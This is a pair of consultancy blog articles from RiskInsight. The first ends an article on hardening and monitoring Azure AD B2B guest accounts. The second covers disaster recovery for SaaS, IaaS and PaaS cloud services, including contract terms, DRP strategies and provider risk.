This scenario is a variant of Scenario 2, which allows the most mature companies in identity and access management to capitalize on existing tools and processes.

Finally, do not neglect the surveillance of this exposed population

It is useful to build a form of adapted reporting using KPIs and dashboards. A pool of information is available natively in the Azure AD (date of last connection, activity on the tenant as well as on Office 365 via the “unified audit logs”). This information can be interacted with via visualization tools, like Power Bi, for the generation of dashboards.

Secondly, it is important to monitor the activities of these particularly exposed populations. Two levels of detection can be set up depending on monitoring capabilities:

• Implement native DLP rules or classic alert scenarios in the Microsoft console: some alert scenarios are preconfigured, such as mass deletion of documents, elevation of privilege etc.
• Implement advanced DLP rules and detection scenarios or specific thresholds for guests with the support of the company’s SOC. For example, the data download threshold allowed for a guest may be lower than the threshold allowed for an intern.

We can imagine the use of the Azure AD Identity Protection module to trigger alerts for guests with a high level of risk.

In conclusion, AAD B2B greatly facilitates collaboration, but its configuration needs to be hardened to reduce the level of risk induced by the solution

AAD B2B greatly simplifies collaboration with users outside the company, but entails risks related to the default operation of the solution. To control these risks, it is necessary to reduce the level of open access, and to control the lifecycle of these identities at a deeper level, depending on the potential level of investment that is planned. Finally, it is necessary to focus on monitoring via native tools or tools used by the company given the high exposure of these populations.

Cet article MS365 101: Manage Azure AD B2B Guest Identities est apparu en premier sur RiskInsight.

SAAS COMPUTER BACKUP: THE SERVICE PROVIDER’S RESPONSIBILITY TO PUT IN PLACE

SaaS (Software as a Service) is software that is made available on, and consumed directly from, the internet. It is managed by one or more providers.  The customer does not have the wherewithal to carry out the backup activities is case of disaster (no access to raw data, source codes, applications that could duplicate the infrastructure, etc.), so it has to rely on the provider’s goodwill.

Levels of disaster recovery are variable for SaaS, depending on the provider’s degree of maturity

Three major trends are emerging:

• Providers who offer an inclusive disaster recovery plan. As part of their standard offering, the provider offers recovery at a remote data center, usually augmented with outsourced backup. However, they rarely offer commitments on recovery times.
  Examples are the big SaaS players (such as: Office 365, SalesForce, and SAP), as well as some intermediate players (such as Evernote, and Xero);

• Suppliers who offer outsourced backup only. In their case, there is no clearly established disaster recovery plan, as such. The customer then has to question the ability of the provider to restore backup files in the event of a disaster at the main site.
  Examples are intermediate suppliers (such as Zervant and Sellsy);

• Suppliers who don’t mention the issue or do not have anything in place. The subject of backup doesn’t even get raised, so it’s better to assume that nothing is being done.
  Small players are usually in this situation.

Getting contracts right is key

In the vast majority of cases, SaaS providers have no provisions in their contracts on how they will manage disaster recovery, even though they might stress their ability to handle that risk. In fact, contracts usually include default Act of God clauses stipulating that the supplier is not liable for a breach of contractual obligations if this is caused by an event beyond their reasonable control. The legal risks must therefore be addressed when framing the agreement, and these types of clauses should be removed to ensure an appropriate level of cover.

Just as they do when framing conventional contracts, customers must ensure that clear service level agreements are in place, in particular for disaster recovery. These need to cover:

• Recovery times (Recovery Time Objective – RTO) and data loss (Recovery Point – RPO) in the event of a disaster;

• The provider’s disaster recovery plan, including crisis management procedures, as well as the obligation to carry out conclusive tests every year with real-world scenarios, as part of the plan, with the customer having the option to review the test report;

• Financial penalties and the right to terminate the contract (in particular, with a provision to recover usable data) if commitments are breached.

IAAS/PAAS disaster recovery: THE CUSTOMER’S RESPONSIBILITY TO PUT IN PLACE

Infrastructure as a Service (IaaS) is a standardized, automated offering of computing, storage, and network resources owned and hosted by a provider, and made available to the customer on demand. A Platform as a Service (PaaS) offering is similar to an IaaS offer, but it is different in that it only applies to software development stack (database, EDI, business process management…) according to Gartner’s definition. Unlike SaaS, disaster recovery remains the customer’s responsibility in both cases: IaaS/PaaS providers make services available in various data centers, and the customer is responsible for their use and configuration. Two solutions are available to customers using these services: to entrust things to a provider, or manage it themselves.

The market for cloud disaster recovery is not a mature one

Cloud disaster recovery providers are referred to by the acronym DRaaS: Disaster Recovery as a Service. Initially, DRaaS providers offered cloud-based IS disaster recovery of an “on premise” datacenter. But, today, they also offer to provide recovery for infrastructure already in the cloud, such as AWS or Azure. Levels of maturity remain very variable, depending on the provider and which cloud is used. Some DRaaS providers require that their own cloud is used for recovery, which means they cannot offer a PaaS recovery service.

As with SaaS, there are no default contractual provisions. Therefore, any guarantees required for data loss or recovery time will need to be negotiated. Suppliers generally promise to be able to tailor their offer to the customer’s requirements! To ensure that the recovery performs correctly, the customer must plan for disaster recovery tests to be carried out regularly (we recommend once a year).

Operating your own disaster recovery plan, using tools offered by the supplier

For “on-premise” infrastructure, you will need to think about, and define, your DRP strategy right from the design phase. This strategy must include the option of performing tests to ensure a sufficient level of confidence in your plan.

Implementation can be simplified by the tools offered by cloud providers, and the high levels of standardization in cloud environments. The major players have set out, in white papers, the key guidelines to follow in pursuing such a project (for example, AWS and Azure).

Conceptually, these DRP strategies remain close to those used in “on-premise” data centers.

There are four main ones:

• backup and restore: simple backups of data and images of machines on a remote site, which are restored if an incident occurs;
• pilot light: replication of databases and the provision of machines, in the form of images, ready to be used if an incident occurs;
• warm standby: full replication of the main site (data and machines); the recovery site is undersized in performance terms but ready to scale up if an incident occurs;
• multi-site (or active-active): the two sites are identical and share the load from users. If an incident occurs, the remaining site can scale up to cover all users.

Hybrid solutions that are better designed to take account of recovery time requirements, and cost and complexity considerations, can also be considered.

The real contribution that the cloud can make to DRP is the numerous tools that it can offer to simplify its implementation and activation.

As a result, data replication can be simplified for asynchronous geo-replication options (where multiple copies are replicated to other regions). The RPO varies, depending on the types of data and tools involved. Aside from this option, local data redundancy is almost always included.

The high degree of standardization also makes it possible to automate the recovery: the scripts or APIs made available by providers make it possible to automate deployment of infrastructures, resize instances (according to previously defined configuration), distribute loads and traffic, carry out IP addressing, etc., in order to considerably speed up a backup site’s activation time.

The monitoring and alert tools, which are also on offer, are intended to facilitate in-service support and can be used to detect an incident in the shortest possible time, or in some cases, partially automate the activation of a backup site.

Lastly, this ability to provision new resources within a few minutes enables the associated OPEX to be minimized. By using such a strategy, it’s possible to make gains of 40 to 70% on the cost of DRP infrastructure.

Toward greater support by providers?

During 2017, Azure is planning to offer an option to provide recovery for virtual machines hosted on its platform by enhancing its “Site Recovery” service. In fact, “Site Recovery”, in its current form, offers to support traditional site backup, by using the Azure cloud to host the secondary site, but Microsoft wants to extend this service to provide a Recovery as a Service option. This tool would allow the automatic deployment of the secondary site (of the active-passive type), automatic data replication, and easier testing.

This option was available as a “public preview” at the end of May 2017. There is no equivalent project in train from the other main IaaS/PaaS providers.

THE CLOUD AND PROVIDER SYSTEMIC RISK

Backup of cloud-based services is dealt with differently, depending on the type of service used. SaaS recovery must be managed through contracts and are the responsibility of the provider, while IaaS/PaaS recovery, simplified by the tools available, remains the responsibility of the customer.

There is a risk of the widespread failure of a provider’s hosting region as recent incidents have shown. Even though these incidents have been short-lived, or have had minor impacts, the possibility of widespread failure cannot be ignored. The issue of cyber-resilience, then, must still be dealt with. Using a second cloud provider can cover the risk of destruction, or a major outage of a first provider’s infrastructure. This solution is very complex because portability between providers is a difficult issue. For now, there are few companies that have risked it, although  Snapchat is an example: it uses Google’s cloud for its production, and plans to use Amazon’s for its DRP within five years.

Cet article The Cloud: The end of IT backup – or a new way of doing it? est apparu en premier sur RiskInsight.